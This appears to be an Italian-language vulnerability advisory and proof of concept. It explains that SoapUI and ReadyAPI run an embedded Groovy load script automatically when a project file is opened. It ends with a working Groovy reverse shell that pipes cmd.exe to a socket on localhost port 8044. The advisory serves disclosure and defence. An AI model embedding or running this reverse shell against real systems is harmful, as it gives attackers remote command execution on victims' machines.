
Avviso & PoC
Avviso e PoC
SoapUI e ReadyAPI permettono di creare o aggiungere contenuti dinamici ai casi di test (ad esempio, per calcolare un timestamp al volo) utilizzando script in linguaggio Apache Groovy. L'esecuzione di questi script può essere attivata in molti modi e vengono memorizzati all'interno del file XML di progetto una volta che il progetto viene salvato.
La funzione "Load Script" permette di creare uno script Groovy che viene lanciato all'apertura del file di progetto (elemento con:afterLoadScript del file XML di progetto) senza alcuna ulteriore interazione da parte dell'utente. Questo comportamento può essere sfruttato da un attaccante per creare file di progetto malintenzionati che, una volta aperti, eseguono codice Groovy arbitrario sul sistema della vittima. Poiché è possibile eseguire comandi di sistema utilizzando il linguaggio Groovy, questa funzionalità può essere sfruttata per eseguire efficacemente comandi remoti.
NOTA: lo stesso obiettivo può essere raggiunto sfruttando qualsiasi altra funzione in grado di gestire script Groovy (ad esempio 'Save script'), ma ciò richiederà un'ulteriore interazione da parte dell'utente dopo il caricamento del file di progetto.
Applicazione Vulnerabile:
Al momento della scrittura (2020-02-04), si tratta di una vulnerabilità zero-day, poiché le date di divulgazione proposte (multiple) sono passate senza che il venditore abbia rilasciato una patch.
Esempio di reverse shell Groovy (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();